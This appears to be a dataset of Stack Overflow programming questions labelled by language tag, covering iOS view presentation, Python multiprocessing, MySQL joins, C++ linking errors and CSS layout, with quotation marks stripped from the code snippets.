attempt to present a view whose view is not in the window both with segues and programmatically  i want to open a login screen and i have tried both programmatically and both with a segue. i have seen similar questions but it didn t fix it for me.    here are my two versions of code:   <pre><code>- (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view.     if (![[api sharedinstance] isauthorized]) {         nslog(@ i should open login screen );         [self performseguewithidentifier:@ showlogin  sender:nil];     } } </code></pre>   or   <pre><code>- (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view.     if (![[api sharedinstance] isauthorized]) {         nslog(@ i should open login screen );         uistoryboard *sb = [uistoryboard storyboardwithname:@ mainstoryboard  bundle:nil];     loginscreen *vc = [sb instantiateviewcontrollerwithidentifier:@ loginscreen ];     vc.modaltransitionstyle = uimodaltransitionstylefliphorizontal;     [self presentviewcontroller:vc animated:yes completion:null];     } } </code></pre>   the segue is modal style.    in both cases the nslog is printed and then i see a warning:   <pre><code>warning: attempt to present &lt;loginscreen: 0x1e5bd010&gt; on &lt;photoscreen: 0x1e5b82e0&gt; whose view is not in the window hierarchy! </code></pre>   and the new view does not open.    any hint on that,ios
some python multiprocessing issue for printing num ber <pre><code>import multiprocessing  def printt(q):         if q.empty():               pass     else:         data = q.get()         print data   if __name__ ==  __main__ :     q = multiprocessing.joinablequeue()     for i in range(5):         q.put()     while 1:         for i in range(3):             process = multiprocessing.process(target=printt  arg=(q ))             process.start()             process.join()         q.join() </code></pre>   code is show above. my questions is how can i  control the redundant processes  cos when i put the number of item which can divided into a int  the code above is going to raise error.how can i finish my task of print number at the mean time not raising error.,python
angular $scope module value lost on form submit  i am instantiating an object that is used to store my form values:   <pre><code>$scope.placesomething = {     somethingtype: 1 };  </code></pre>   and the form   <pre><code>&lt;form name= placesomething  id= placesomething  novalidate ng-submit= submitform(); &gt;    ...form stuff... &lt;/form&gt; </code></pre>   if i check the existance of the default value of<code>$scope.placesomething.somethingtype</code> inside my controller  it prints <code>1</code> - which is good.    but when i m submitting the form  the default value is lost (unless i m applying another value to <code>somethingtype</code> in some other function)   <pre><code>$scope.submitform = function () {     console.log($scope.placesomething.somethingtype); // this returns undefined. the default values is lost }); </code></pre>   if i use ng-init inside the form  angular keeps the default value and sends it with the form.   <pre><code>&lt;input type= hidden  ng-model= placesomething.somethingtype  ng-init= placesomething.somethingtype = 1 /&gt; </code></pre>   why is this happening     <strong>edit</strong>    another funny thing  is that if i change the $scope value from other $scope  it does not get lost on submit.   <pre><code>$scope.selectsomethingtype = function (param  somethingtype  param2) {             $scope.placesomething.somethingtype = somethingtype; });  </code></pre>   this function activated in one of the forms ng-clicks and saves the value to <code>somethingtype</code> just fine.    <strong>solved</strong>    <a href= https://stackoverflow.com/a/26905500/3628867 >https://stackoverflow.com/a/26905500/3628867</a> this was the problem,angularjs
replacing the values in one column of table1 with the values of column from another table2 in mysql  i have two tables namely dup_table that comprises of:-    room_nu   floor     f_id1 <br>    is203    1       1234  <br>  is221    1       1236  <br>  is110    0       1239  <br>  is112    0       1248  <br>  is312    2       1252  <br>  is317    2       1258   <br>  is113    0       1263   <br>    we also have a table temp that comprises of :-    f_id2 <br>    1267  <br>  1268  <br>  1275  <br>  1290  <br>  1298  <br>    room_nu is the primary key of dup_table  f_id1 is the foreign key of dup_table. f_id2 is the foreign key of temp table. now i need to substitute all the values of f_id2 of table temp i.e the entire column and replace it with f_id1 values from dup_table. the number of entries in f_id2 is less than f_id1 so the remaining values are to be taken as before.    is it possible to do in mysql  if so what will be the procedure or the corresponding query,mysql
mysql using limit in join query to return 1 result  im trying to use limit 1 after my query but i m assuming because of the  is null  it wont work. i need to check another table to see if the user has seen the item before  so i need to check another table with both the users id and the item id. this is the query.     <pre><code>select * from item left outer join seen on item.id = seen.id where seen.uid is null </code></pre>   how can i limit this query to returning 1 result,mysql
!= query fail how do you use both = and != in the same where statement  this query works:   <pre><code>select stock_number  from t2d_vehicles where stock_number =  02929a  and dealer_id = 130128 </code></pre>   this one does not:   <pre><code>select stock_number  from t2d_vehicles  where stock_number =  02929a   and dealer_id = 130128  and feed_id != 9 </code></pre>   can i not combine != with an = in a where     here is a simple little bit of the table:   <pre><code> stock_number   dealer_id   feed_id   02929a  130128 9  02929a  130128 10 </code></pre>,mysql
error opening pages with python  i am trying to open websites in python. lets cut to the chase.   <pre><code>import webbrowser  webbrowser.open( http://google.com ) </code></pre>   (my code)   <pre><code>traceback (most recent call last):   file  c:\python27\webbrowser.py   line 1  in &lt;module&gt;     import webbrowser   file  c:\python27\webbrowser.py   line 3  in &lt;module&gt;     webbrowser.open( http://google.com ) attributeerror:  module  object has no attribute  open  ps c:\users\ug&gt; </code></pre>   (my error)    what did i do wrong,python
runtime error although i am getting the expected output  my solution to a <a href= https://www.codechef.com/problems/conflip  rel= nofollow noreferrer >codechef problem.</a>    i ran this code in turbo c++ in my computer and in codechef  they are using gcc compiler.    please help me to get out of this runtime error.   <h2>my code</h2>  <pre><code>#include&lt;iostream&gt; using namespace std; class game {     public:         int i q;         long n;         long a[1000000000];         long h t;         int in();         int out();  }; int game::in() {     cin&gt;&gt;i&gt;&gt;n&gt;&gt;q;     if(i==1)     {         for(int k=0;k&lt;n;k++)             a[k]=1;     }     else     {         for(int k=0;k&lt;n;k++)             a[k]=2;     }     for(int r=1;r&lt;=n;r++)     {         for(int p=0;p&lt;r;p++)         {             if(a[p]==1)                 a[p]=2;             else                 a[p]=1;         }     }     return 0; } int game::out() {     for(int x=0;x&lt;n;x++)     {         if(a[x]==1)             h++;         else             t++;     }     if(q==1)         cout&lt;&lt;endl&lt;&lt;h;     else         cout&lt;&lt;endl&lt;&lt;t;     return 0; } int main() {     game s[10][20000];     int t g;     cin&gt;&gt;t;     for(int l=0;l&lt;t;l++)     {         cin&gt;&gt;g;         for(int j=0;j&lt;g;j++)         {             s[l][j].in();         }     }     for(int l=0;l&lt;t;l++)     {         for(int j=0;j&lt;g;j++)             s[l][j].out();     }     return 0; } </code></pre>,c++
iphone - see app documents folder using wifi   the iphone settings have an ip address for the device when it is connected to a wifi network. is it possible to get this ip address and establish a connection between a desktop computer (on the same network) and the iphone     i want to be able to transfer files between the iphone and the desktop computer. some apps like the  files  and  fourtrack  apps do this.    can someone please guide me to where i can start     thanks a lot for any headsup,iphone
why we need to add follow css to every page   i m a fresh in css  my friend suggest me to add below css to every page     <pre><code>html  body  div  span  applet  object  iframe  h1  h2  h3  h4  h5  h6  p  blockquote  pre  a  abbr  acronym  address  big  cite  code  del  dfn  em  img  ins  kbd  q  s  samp  small  strike  strong  sub  sup  tt  var  b  u  i  center  dl  dt  dd  ol  ul  li  fieldset  form  label  legend  table  caption  tbody  tfoot  thead  tr  th  td  article  aside  canvas  details  embed  figure  figcaption  footer  header  hgroup  menu  nav  output  ruby  section  summary  time  mark  audio  video {     margin: 0;     padding: 0;     border: 0;     font-size: 100%;     font: inherit;     vertical-align: baseline;     font-family: arial sans-serif; } </code></pre>   why we need do that,css
radio button selection creates a dynamic drop down list  i am trying to create a drop down list that is dynamically populated depending on what selection is made in a group of radio buttons. i currently have a group of radio buttons names  applicability  and the options to select are: people  procedure  environment  capability to deliver  technical airworthiness and operational airworthiness. depending on which one is selected  i would like the drop down box to populate with a number of options to select.   the code i am working with at the moment is:   <pre><code>var pelist = [“worker type”  “injury type”]; var enlist = [“undefined”]; var prlist = [ facility    building    plant    damage type ]; var calist = [ to be determined ]; var telist = [ aircraft    component ]; var oplist = [ nothing at the moment ];  if (applicability.rawvalue===”people”) {            dropdownlist4.clearitems;     for (var i = 0; i &lt; pelist.length; i++) {          dropdownlist4.additem(pelist[i]); }         } else if (applicability.rawvalue===”property”) {            dropdownlist4.clearitems;     for (var i = 0; i &lt; prlist.length; i++) {          dropdownlist4.additem(prlist[i]);         }         } else if (applicability.rawvalue===”environment”) {            dropdownlist4.clearitems;     for (var i = 0; i &lt; enlist.length; i++) {          dropdownlist4.additem(enlist[i]);         }         } else if (applicability.rawvalue===”capabilitytodeliver”) {            dropdownlist4.clearitems;     for (var i = 0; i &lt; calist.length; i++) {          dropdownlist4.additem(calist[i]);         }         } else if (applicability.rawvalue===”technicalairworthiness”) {            dropdownlist4.clearitems;     for (var i = 0; i &lt; talist.length; i++) {          dropdownlist4.additem(talist[i]);         }         } else if (applicability.rawvalue===”operationalairworthiness”) {            dropdownlist4.clearitems;     for (var i = 0; i &lt; oplist.length; i++) {          dropdownlist4.additem(oplist[i]);} </code></pre>   can you please assist by showing me where i might be going wrong  thank you,javascript
how to show options with image using css style  <a href= https://i.stack.imgur.com/z7utg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/z7utg.png  alt= enter image description here ></a>i have 3 sections: left  middle  right. in the right menu bar i am displaying images. for the last (moving) image i want to keep options.    when you hover on the image it should show the options. but when i hover the image  options are showing in next 2 lines.     there is 2 lines space under left  middle section of all three sections. how do i display the options without taking spaces     here is my code:   <pre><code>&lt;div id= maincontainer &gt;     &lt;div id= leftcontainer  class= mainmenu &gt;     &lt;/div&gt;     &lt;div id= middlecontainer  class= mainmenu &gt;     &lt;/div&gt;     &lt;div id= rightcontainer  class= mainmenu &gt;         &lt;div&gt;             &lt;i class= fa fa-trash-o fa-2x  style= color: #339ae4; &gt;&lt;/i&gt;                         &lt;div  class= imagestyle  title= send &gt;                 &lt;i class= fa fa-reply fa-2x &gt;&lt;/i&gt;             &lt;/div&gt;              &lt;div class= imagestyle  title= sendall &gt;                 &lt;i class= fa fa-reply-all fa-2x &gt;&lt;/i&gt;             &lt;/div&gt;             &lt;div  class= imagestyle  title= forward &gt;                 &lt;i class= fa fa-reply fa-flip-horizontal fa-2x &gt;&lt;/i&gt;             &lt;/div&gt;             &lt;div  class= imagestyle  title= trash &gt;                 &lt;i class= fa fa-trash-o fa-2x &gt;&lt;/i&gt;                         &lt;/div&gt;             &lt;div ng-show= emailicon()  class= imagestyle  title= highlight &gt;                 &lt;i  class= fa fa-star fa-2x &gt;&lt;/i&gt;              &lt;/div&gt;             &lt;div  class= imagestyle  title= move  ng-mouseover= newicon=true  ng-mouseleave= newicon=false &gt;                 &lt;i class= fa fa-folder-o fa-2x &gt; &lt;/i&gt;                  &lt;label  ng-show= newicon &gt;movetoset1&lt;/label&gt;                 &lt;label  ng-show= newicon &gt;movetoset2&lt;/label&gt;              &lt;/div&gt;          &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   here is my css code:   <pre><code>#leftcontainer{  width: 14%; } #middlecontainer{ width:26%; } #rightcontainer{ width:60%; } .mainmenu{  margin-right: -4px;     text-align: center;     display: inline-block;     padding-top: 5px;     padding-bottom: 5px;     background-color: #339ae4;     outline: solid 1px gray; } .imagestyle{     width: 6%;     display: inline-block;     text-align:left;     font-family:  segoe ui ;     vertical-align:top;     color: #f2f2f2;     cursor: pointer; } </code></pre>,css
how to optimize array grouping   i have an array that is constantly updated and accordingly it is necessary to update its grouping. example of an array:   <pre><code>[  {      price : 2419.62       amount : 0.0266   }    {      price : 1927.52       amount : 0.0217   }    ... ] </code></pre>   i tried different options. at the moment this option is the fastest:   <pre><code>      const points = [            {                price : 2419.62                 amount : 0.0266             }              {                price : 1927.52                 amount : 0.0217             }              ...           ];       const range = 500;       const spread = 1800;       const countgroup = 250;       const sizeunitgroup = range / countgroup;       const groups = {};       for (let i = 0;  i &lt; countgroup; i++){         groups[i] = [];         try {           points.foreach((item  id) =&gt; {             if (item.price &gt; spread + (i*sizeunitgroup) &amp;&amp; item.price &lt;= spread + (i*sizeunitgroup + sizeunitgroup)){               groups[i].push(item);               points.splice(id  1);             }             if (item.price &gt; (spread + (i*sizeunitgroup + sizeunitgroup))) throw breakexception;           });         } catch (e) {         }       } </code></pre>   but even so  this function works for too long. any ideas how this can be optimized,javascript
my code doesnt work when passed in .begin() as parameter but works after i convert .begin() into an iterator  i am trying to create my own vector class. currently  im working on adding an erase function to my vector class called  vec. my code complains when i pass variable.begin() into the erase function parameter but function properly after i manually converted variable.begin() into iterator then pass it in.    can someone explain to me why this bizarre situation is occuring    <pre><code>int main(){     vec&lt;string&gt; words;      words.push_back( h );     words.push_back( a );     words.push_back( p );      vec&lt;string&gt;::iterator iter=words.begin();     vec&lt;string&gt;::iterator iter1=words.end();     words.erase(words.begin() words.end());//this does not work     words.erase(iter iter1);//this works } //function erase in the vec class i created   template &lt;class t&gt; class vec {      typedef t* iterator;//     typedef const t* const_iterator;     iterator data; // first element in the vec     iterator avail; // (one past) the last element in the vec     iterator limit; // (one past) the allocated memory      void erase(iterator&amp;i  iterator&amp;j){         iterator new_limit=limit;         iterator new_avail=avail;         size_t a=j-i+1;         size_t n=limit-data;         n=n-a;         iterator new_data=alloc.allocate(n);          iterator mid=std::uninitialized_copy(data data+1 new_data);         size_t b=size();         if(j!=avail){             new_limit  new_avail=std::uninitialized_copy(j+1 avail mid);             data=new_data;             avail=new_avail;             limit=new_limit;         }         else{             data=new_data;             limit=avail=data+n;         }     } } </code></pre>,c++
select all elements with a particular id and a missing attribute  the html i am working with has tags something like:   <pre><code>&lt;a id= tag  data= modal  href=#&gt;1&lt;/a&gt; &lt;a id= tag  data= modal  href=#&gt;2&lt;/a&gt; &lt;a id= abc  href=#&gt;8&lt;/a&gt; &lt;a id= tag  href=#&gt;3&lt;/a&gt; &lt;a id= tag  data= modal  href=#&gt;4&lt;/a&gt; &lt;a id= tag  href=#&gt;5&lt;/a&gt; &lt;a id= tag  href=#&gt;6&lt;/a&gt; &lt;a id= tag  data= modal  href=#&gt;7&lt;/a&gt; </code></pre>   i want to select all a elements with id=tag and missing data attribute. i tried using <code>$( a#tag[data!=modal] )</code> but it returned only the first matching element. when i tried <code>$( a[data!=modal] )</code>  it returns all the a elements with missing data attribute along with a <code>id= abc </code>  which i don t want. please advice.    edit: i know its not how an html is supposed to be structured but its not controlled by me and i m stuck to implement analytics on it.,jquery
difference between f(x) and f x in python  in python it is possible to call either <code>del x</code> or del (x) . i know how to define a function called f(x)   but i do not know how to define a function that cal be called like <code>del</code>  without a tuple as parameters.    what is the difference between <code>f x</code> and <code>f(x)</code>  and how can i define a function that can be called without parenthesis     <pre><code>&gt;&gt;&gt; a = 10 &gt;&gt;&gt; a 10 &gt;&gt;&gt; del a             &lt;------------ can be called without parenthesis &gt;&gt;&gt; a traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt; nameerror: name  a  is not defined &gt;&gt;&gt; a = 1 &gt;&gt;&gt; del (a) &gt;&gt;&gt; a traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt; nameerror: name  a  is not defined &gt;&gt;&gt; def f(x): 1 ...  &gt;&gt;&gt; f (10) &gt;&gt;&gt; print f (10) none &gt;&gt;&gt; def f(x): return 1 ...  &gt;&gt;&gt; print f (10) 1 &gt;&gt;&gt; f 1                  &lt;------   cannot be called so   file  &lt;stdin&gt;   line 1     f 1       ^ syntaxerror: invalid syntax &gt;&gt;&gt;  </code></pre>,python
angular js location.path working only with refresh button  <code>appcontroller.js</code>   <pre><code>$scope.showpagehero = $location.path() ; </code></pre>   <code>app.js</code>   <pre><code>  $routeprovider.         when( /login   {             templateurl:  login.html               controller:  logincontroller          }).         when( /view   {             templateurl:  view.html               controller:  viewcontroller               auth: true         }).         when( /details   {             templateurl:  details.html               controller:  detailscontroller               auth: true         }) </code></pre>   <code>index.jsp</code>   <pre><code>&lt;li&gt;&lt;a ng-href= #/login  &gt;login&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a ng-href= #/view  &gt;view&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a ng-href= #/details  &gt;global&lt;/a&gt;&lt;/li&gt; . .  &lt;fieldset ng-if= showpagehero ==  /view  &gt; &lt;h1&gt;&lt;span&gt;hi... {{showpagehero}} &lt;/span&gt;&lt;/h1&gt;  &lt;/fieldset&gt; </code></pre>   i m using <code>$location.path()</code> to find the current url of the application  its working when i hit the url directly or refresh the page. but it s not working while clicking the same thru the <code>href</code> in the webpage. is there anyway to resolve this issue. thanks!,angularjs
what does objectreference.variablename mean  <h2>i didn t understand this part:</h2>   instance variables can be accessed directly by calling the variable name inside the class. however  within static methods (when instance variables are given accessibility)  they should be called using the fully qualified name. objectreference.variablename.    can you give an example please,java
tabindex for input type file in ie  when you render: <code>&lt;input type= file  /&gt;</code>    you get a box and a button  right  (at least in firefox and ie.)    in ie how you can tab to (focus) both the box and the button or only button.,html
create a grid with uiimageview  i built a photo library that show image in my app folder  then i want to make it look like the homescreen. when i tap and hold any image  all images will shake and have a delete button on the top right corner like icons on homescreen.    anyone know any sample code  tutorial or how to do that     i used scrollview to make photolibrary    i built a photo library that show image in my app folder  then i want to make it look like the homescreen. when i tap and hold any image  all images will shake and have a delete button on the top right corner like icons on homescreen.    anyone know any sample code  tutorial or how to do that     i used scrollview to make photolibrary    /---------------------solution for my question-----------------/ thanks @vizllx    with vizllx answer i solved this.    i used gmgridview to create photo library with edit mode. it s perfect but if i load a large number of images the gridview will slow lag when scrolling fast. to solve this i use   <pre><code>dispatch_queue_t backgroundqueue = dispatch_queue_create();  dispatch_async(backgroundqueue  ^{      dispatch_async(dispatch_get_main_queue()  ^{         [self updatemyuiwithresult:result];     });     }); </code></pre>   that s it. i edited my question for who has same problem. good luck!,ios
using javascript get all the windows that are opened for a domain  i want to know a way in javascript by which i can get all open window for a domain.    i am aware of the following way -    suppose i am on wind0 and there i have three links and onclick i have written following code -    <pre><code>var win1=window.open( page1   name1 );//link1 onclick var win2=window.open( page2   name2 );//link2 onclick var win3=window.open( page3   name3 );//link3 onclick </code></pre>   above code will open three different windows. i can use win1  win2  win3 objs and save them in an array and use it latter  but suppose my page on wind0 is refreshed and content of the array is lost.    now i am unable to find out how many windows are opened for that domain.    how can i get all the windows opened for a domain     thanks.,javascript
how to compile console application to 3.5 version  i have a .net console application in 1.0 version. i have converted that application into 2010. now need to compile the application in .net 3.5. is there any way where i can set the compile version for console application. however  when i compile the class library there is a target framework option in the property of the project. but in the console application i do not see any option.,.net
how to replace a particular character in java  i have a json string like this.   <pre><code>{ page_1 : {\ city\ :\ delhi\  \ locality\ :\ defence colony\  \ name_of_person\ :\ test\  \ user_email_address\ :\ test1@gmail.com\  \ user_phone_number\ :\ \  \ sub_locality\ :\ \  \ street_name\ :\ qwe\  \ home_plot_no\ :\ 22\  \ pin_code\ :\ \  \ project_society_build_name\ :\ \  \ landmark_reference_1\ :\ \  \ landmark_reference_2\ :\ \  \ no_of_schools\ :20 \ no_of_hospitals\ :20 \ no_of_metro\ :5 \ no_of_mall\ :20 \ no_of_park\ :20 \ distance_of_schools\ :1.36 \ distance_of_hospitals\ :0.77 \ distance_of_metro\ :1.32 \ distance_of_mall\ :0.98 \ distance_of_park\ :2.6 \ lat\ :28.5726334 \ lng\ :77.23251 \ ipinfo\ :{\ ip\ :\ 123.63.86.161\  \ hostname\ :\ no hostname\  \ city\ :\ new delhi\  \ region\ :\ national capital territory of delhi\  \ country\ :\ in\  \ loc\ :\ 28.6000 77.2000\  \ org\ :\ as55410 c48 okhla industrial estate  new delhi-110020\ }}   page_2 : {\ home_type\ :\ flat\  \ area\ :\ 1500\  \ beds\ :\ 4 bhk\  \ bath_rooms\ :2 \ building_age\ :\ 1\  \ floors\ :2 \ balcony\ :2 \ amenities\ :\ regular\  \ amenities_options\ :{\ gated_security\ :\ \  \ physical_security\ :\ \  \ cctv_camera\ :\ \  \ controll_access\ :\ \  \ elevator\ :\ \  \ power_back_up\ :true \ parking\ :\ \  \ partial_parking\ :\ \  \ onsite_maintenance_store\ :\ \  \ open_garden\ :\ \  \ party_lawn\ :\ \  \ amenities_balcony\ :\ \  \ club_house\ :\ \  \ fitness_center\ :\ \  \ swimming_pool\ :\ \  \ party_hall\ :\ \  \ tennis_court\ :\ \  \ basket_ball_court\ :\ \  \ squash_coutry\ :\ \  \ amphi_theatre\ :\ \  \ business_center\ :\ \  \ jogging_track\ :\ \  \ convinience_store\ :\ \  \ guest_rooms\ :\ \ } \ interior\ :\ regular\  \ interior_options\ :{\ tiles\ :\ \  \ marble\ :true \ wooden\ :true \ modular_kitchen\ :\ \  \ partial_modular_kitchen\ :\ \  \ gas_pipe\ :\ \  \ intercom_system\ :\ \  \ air_conditioning\ :\ \  \ partial_air_conditioning\ :\ \  \ wardrobe\ :\ \  \ sanitation_fixtures\ :\ \  \ false_ceiling\ :\ \  \ partial_false_ceiling\ :\ \  \ recessed_lighting\ :\ \ } \ location\ :\ regular\  \ location_options\ :{\ good_view\ :\ \  \ transporation_hub\ :\ \  \ shopping_center\ :\ \  \ hospital\ :\ \  \ school\ :\ \  \ ample_parking\ :\ \  \ park\ :\ \  \ temple\ :\ \  \ bank\ :\ \  \ less_congestion\ :\ \  \ less_pollution\ :\ \ } \ maintenance\ :\ \  \ maintenance_value\ :\ \  \ near_by\ :{\ school\ :\ \  \ hospital\ :\ \  \ mall\ :\ \  \ park\ :\ \  \ metro\ :\ \  \ near_by_school\ :\ fostiima business school \\\/ 1.35 km\  \ near_by_hospital\ :\ institute rotary cancer hospital \\\/ 2.16 km\  \ near_by_mall\ :\ chandi plaza \\\/ 2.68 km\  \ near_by_park\ :\ central park \\\/ 2.57 km\  \ near_by_metro\ :\ city of lajpat nagar \\\/ 0.98 km\ } \ city\ :\ delhi\  \ locality\ :\ defence colony\  \ token\ :\ 000b3a96b0e6790fd5e3b24831ec4d4d\ } } </code></pre>   i want to replace a particular characters like this.   <pre><code> page_1 : { city  change to  page_1 :{ city   }}   change to  }}   page_2 : { home_type  change to  page_2 :{ home_type   } } change to   }} append  }  at last </code></pre>   i tried like this    <pre><code>string newstring = jsonformattedstring.substring(0  10) +    + s.substring(0 0); </code></pre>   but the above code not works for me.any help will be appreciated.,java
download google drive file via python 3  i only have access to a jupyter notebook on a server and i need to download and unzip a large file on google drive. here is the <a href= https://docs.google.com/uc id=0bz1dfcnrpxm-mut4chnzuefxcmc&amp;export=download  rel= nofollow noreferrer >link</a>. i am using python 3. this is a large dataset of images that is 37gb unzipped. i wasn t able to get urllib to work  i am guessing it has to do with it being https but i have no idea.    what link should i use  should i use the link to the page or the link on the button on that page     i do not want it as text so it is unlike this <a href= https://stackoverflow.com/questions/14529177/downloading-public-files-in-google-drive-python >question</a>.,python
is it possible to align a table caption to one side and it s span to another   for example:   <pre><code>&lt;caption&gt;my table &lt;span&gt;my table span&lt;/span&gt; &lt;/caption&gt; </code></pre>   i want to align the caption to the left and it s span to the right:   <pre><code>caption { text-align:left; } caption span { text-align:right; } </code></pre>   that will not work. is it possible to do what i m trying to do,css
invocation api for .net  the <a href= http://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/invocation.html  rel= nofollow noreferrer >invocation api</a> for the jvm allows custom instantiation of a jvm in a custom c++ application (i.e. it hosts a jvm in-process alongside the existing application). is there a similar api for .net  (i m not talking about loading additional <code>appdomain</code>s  but of completely bootstrapping a .net instance within a given process.),.net
difference between inner join and column join  joining of two table by inner join and by two same columns gives us same response.    <strong>perform by inner join</strong>    <pre><code>select n.newsno   n.newsarticleno   e.empid   e.empsal    from news n  inner join  tblemployee e on  (e.empid  = n.newsno); </code></pre>   <strong>perform by same column joins</strong>   <pre><code>select  n.newsno   n.newsarticleno   e.empid   e.empsal     from news n   tblemployee e    where (e.empid  = n.newsno); </code></pre>   <strong><em>output of both tables are  same.</em></strong>    so please explain me what are differences between this queries and how it can use in different cases  thanks in advance!!!.....,sql
linking error while inheriting from a template class  i have some trouble while inheriting from a class template.    <pre><code>template &lt; typename t&gt; class vdpcondition : public condition { public:     virtual t getelem(vehicledataprovider) = 0;      bool testcondition(veins::tracimobility* car) {         cmodule* parent = car-&gt;getparentmodule();         assert(parent != nullptr);         itsg5middleware* appl = dynamic_cast&lt;itsg5middleware*&gt;(parent-&gt;getsubmodule( appl ));         assert(appl != nullptr);         return (getelem(appl-&gt;getdataprovieder()) &gt;= elem);     }      t elem; };  class speedcondition : public vdpcondition&lt;boost::units::quantity&lt;boost::units::si::velocity&gt;&gt;{ public:     speedcondition(double speed)     {         elem = (speed * boost::units::si::meter_per_second);     }      boost::units::quantity&lt;boost::units::si::velocity&gt; getelem(vehicledataprovider prov) {         std::cout &lt;&lt; prov.speed().value() &lt;&lt; std::endl;         return prov.speed();     } }; </code></pre>   it compiles quite well  there occur no errors  but if i try to start my application i get linking errors..   <pre><code>undefined symbol: _zn12vdpconditionin5boost5units8quantityins1_4unitins1_4listins1_3dimins1_21length_base_dimensionens1_15static_rationalill1ell1eeeeens4_ins5_ins1_19time_base_dimensionens7_illn1ell1eeeeens1_18dimensionless_typeeeeeens1_18homogeneous_systemins4_ins1_2si15meter_base_unitens4_ins1_16scaled_base_unitins1_3cgs14gram_base_unitens1_5scaleill10ens7_ill3ell1eeeeeeens4_insh_16second_base_unitens4_insh_16ampere_base_unitens4_insh_16kelvin_base_unitens4_insh_14mole_base_unitens4_insh_17candela_base_unitens4_ins1_5angle16radian_base_unitens4_insv_19steradian_base_unitesd_eeeeeeeeeeeeeeeeeeeeveedeeec2ev </code></pre>   at first  i thought it was because i made getelem pure virtual and used it inside the template class  but i tried to remove all the functions of vdpcondition and the error still occurs. now i have no clue where i have to search for the error.    maybe you see what i do wrong  i do not understand why this compiles but not links..,c++
double from unsigned int[2]   i have a 64-bit number written as two 32-bit unsinged ints: <code>unsigned int[2]</code>. <code>unsigned int[0]</code> is msb  and <code>unsigned int[1]</code> is lsb. how would i convert it to <code>double</code>      <code>double d_from_u2(unsigned int*);</code>,c
simple thing to know regarding android application publish  i was reading about how to publish android apps on google market. but isn t it possible that i published my app there and someone downloaded it &amp; then provided the apps to someone else.    if so  is there any ways to restrict it  sorry   if the question is too much funny for anyone.,android
fast way to uniformly remove 10% of all the elements in a given list of python  this question is two-folded. firstly  for my understanding  the idea to uniformly remove 10% from a given  list is like the following.  (1): count the 10% * totul number of elements (2): randomly and uniformly remove element one by one until the number of elements in the list is at most 90% * totul number of elements      i.e.      <pre><code>while (the current number of elements is bigger than 90% * totul number of elements)             randomly and uniformly generate an element from the current list and remove it. </code></pre>   is the above correct  does this more sound like without replacement  or is there any built-in python function i can use.  secondly  following this link  <a href= https://stackoverflow.com/questions/7815263/very-fast-sampling-from-a-set-with-fixed-number-of-elements-in-python >very fast sampling from a set with fixed number of elements in python</a> i got the idea that removing elements from a list in python is costly. so  is there any better way to get around this  many thanks.,python
can you perform an action based on a seperate window in asp.net   i have a page of search results  and clicking one opens a new window where they edit the information about it. once they finish  they currently have to hit  search  again to refresh the results to ensure it saved correctly (it refreshes the search results and reflects the new status).    is there any way to trigger the page to automatically refresh (ie. automatically click the search button) based on the popup window closing or through some other means,asp.net
how to add custom fields to stripe   i m using stripe.js  got this:     <pre><code>&lt;%= form_tag charges_path  id:  payment-form  do %&gt;   &lt;span class= payment-errors &gt;&lt;/span&gt;    &lt;div class= form-group &gt;     &lt;label&gt;       &lt;span&gt;your email&lt;/span&gt;       &lt;input type= text  size= 20  data-stripe= email &gt;     &lt;/label&gt;   &lt;/div&gt;    &lt;div class= form-group &gt;     &lt;label&gt;       &lt;span&gt;card number&lt;/span&gt;       &lt;input type= text  size= 20  data-stripe= number &gt;     &lt;/label&gt;   &lt;/div&gt;    &lt;div class= form-group &gt;     &lt;label&gt;       &lt;span&gt;expiration (mm/yy)&lt;/span&gt;       &lt;input type= text  size= 2  data-stripe= exp_month &gt;     &lt;/label&gt;     &lt;span&gt; / &lt;/span&gt;     &lt;input type= text  size= 2  data-stripe= exp_year &gt;   &lt;/div&gt;    &lt;div class= form-group &gt;     &lt;label&gt;       &lt;span&gt;cvc&lt;/span&gt;       &lt;input type= text  size= 4  data-stripe= cvc &gt;     &lt;/label&gt;   &lt;/div&gt;    &lt;input type= submit  class= submit  value= submit payment &gt; &lt;% end %&gt; </code></pre>   how do i add new fields to submit to stripe  such as name  address  etc. i think it has something to do with changing data-stripe but i couldn t find a  list  of the values that stripe accepts. any ideas,ruby-on-rails
duplicate symbol error with base class when compiling  i have a simple abstract base class     shape.h   <pre><code>#ifndef shape_h #define shape_h  class shape {    public:       shape(int x  int y) : midx(x)  midy(y) {}       virtual ~shape() = 0;       virtual int area() = 0;       virtual void print() = 0;    protected:       int midx  midy; };  shape::~shape() {}  #endif </code></pre>   and a derived class polygon    polygon.h   <pre><code>#ifndef polygon_h #define polygon_h  #include  vertex.h  #include  shape.h  #include &lt;cstdlib&gt; #include &lt;cstring&gt; #include &lt;algorithm&gt; #include &lt;iostream&gt;  using namespace std;  class polygon : public shape {    public:       polygon();       polygon(double x  double y  vertex *arr  int size);       polygon(const polygon&amp; pol);       ~polygon();       .....       .....       int area();     //overloading base class       void print();   //overloading base class       // friends       friend ostream&amp; operator&lt;&lt;(ostream&amp; out  const polygon&amp; pol)       {          out &lt;&lt;  (  &lt;&lt; pol.midx &lt;&lt;     &lt;&lt; pol.midy &lt;&lt;  ) {  ;          for(int i=0; i&lt;pol.numvertices(); i++) {              out &lt;&lt; pol[i];          }          return out &lt;&lt;   } ;        }    private:       vertex *vertex_arr;       int vertices; };  #endif </code></pre>   polygon.cpp   <pre><code>#include  polygon.h   polygon::polygon() : shape(0 0) {   vertex_arr = 0;   vertices = 0; }  polygon::polygon(double x  double y  vertex *arr  int size) : shape(x y) {   vertex_arr = new vertex[size];   copy(arr  arr+size  vertex_arr);   vertices = size; }  polygon::polygon(const polygon&amp; pol) : shape(0 0) {   vertices = pol.vertices;   vertex_arr = new vertex[vertices];   copy(pol.vertex_arr  pol.vertex_arr+vertices  vertex_arr); }  polygon::~polygon() {   delete [] vertex_arr; }  ..... .....  int polygon::area() {   return 1; }  void polygon::print() {   std::cout &lt;&lt;  (  &lt;&lt; midx &lt;&lt;     &lt;&lt; midy &lt;&lt;  ) {  ;   for(int i=0; i&lt;numvertices(); i++) 